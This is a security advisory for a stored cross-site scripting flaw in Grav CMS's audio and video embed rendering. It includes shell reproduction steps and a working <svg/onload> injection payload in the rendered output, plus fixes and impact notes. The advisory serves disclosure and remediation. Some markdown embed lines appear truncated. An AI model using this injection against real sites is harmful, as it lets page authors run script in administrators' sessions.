GHSA-6qw9-4vv5-jr97: XSS
Target: github.com/getgrav/grav Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L) Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so !x>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
php protected function sourceParsedownElement(array $attributes, $reset = true) { $location = $this->url($reset); return [ 'name' => 'audio', 'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.', 'attributes' => $attributes ]; }
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialcharsdecode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
- The GFM tagfilter — ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup. - The call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.
The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
- PHP >= 8.0 with the built-in web server (verified on 8.5) - curl - unzip
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
bash mkdir -p /tmp/grav-xss && cd /tmp/grav-xss curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
bash cd /tmp/grav-xss/grav mkdir -p user/pages/03.poc printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3 cat > user/pages/03.poc/default.md <<'MD' --- title: XSS PoC --- !sound>) MD
Step 3: Start Grav
bash php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
bash for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done curl http://127.0.0.1:8390/poc | grep -o '<audio.</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
bash kill %1 2>/dev/null rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/getgrav/gravto a version that resolves this vulnerability.Fixed in 2.0.15 - Configuration
Escape `$location` with `htmlspecialchars()` before concatenating it into the `<source src="…">` attribute in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (the raw HTML source sink), so characters such as `"`, `<`, `>`, `=`, `(`, `)` in the fragment cannot break out into live markup.
Grav\Common\Media\Traits\AudioMediaTrait::sourceParsedownElement() (and VideoMediaTrait::sourceParsedownElement()) HTML escaping of media URL fragment = Apply htmlspecialchars() to $location before concatenating into rawHtml `<source src="…">` - Configuration
In the excerpt handler, prevent the media URL fragment from being decoded into a form that is then routed/reflected without encoding (the described flow uses `htmlspecialchars_decode(urldecode(...))` in `Excerpts.php` before routing to `urlHash()`), so that the fragment is not reflected into `<source src="…#...">` as un-encoded characters.
Grav\Common\Page\Markdown\Excerpts.php Media URL decoding/encoding for URL fragment handling = Do not undo Parsedown escaping with htmlspecialchars_decode/urldecode for fragment reflection - Configuration
In `MediaObjectTrait::urlHash()`, encode the URL fragment (it currently only strips a leading `#` per the described code path) rather than passing it through verbatim, so the fragment cannot inject characters into the raw `<source src="…">` rendering.
Grav\Common\Media\Traits\MediaObjectTrait::urlHash() URL fragment encoding = Encode the URL fragment instead of passing it through verbatim
Event History
Frequently Asked Questions
Which code paths have been verified as affected?
The issue was verified in Grav 2.0.13, identified as the latest stable release, and in the develop branch at commit 5a7070f. The affected rendering paths are AudioMediaTrait and VideoMediaTrait sourceParsedownElement().
What must an attacker do to trigger the issue?
An attacker must cause crafted Markdown containing an audio or video embed with a malicious media URL fragment to be rendered. Exploitation then requires a user to view the rendered page.
Who is most exposed when malicious content is viewed?
Any viewer can have attacker-controlled JavaScript execute in their Grav session. If a logged-in administrator views the page, the script can execute with access to that administrator's same-origin Grav Admin session.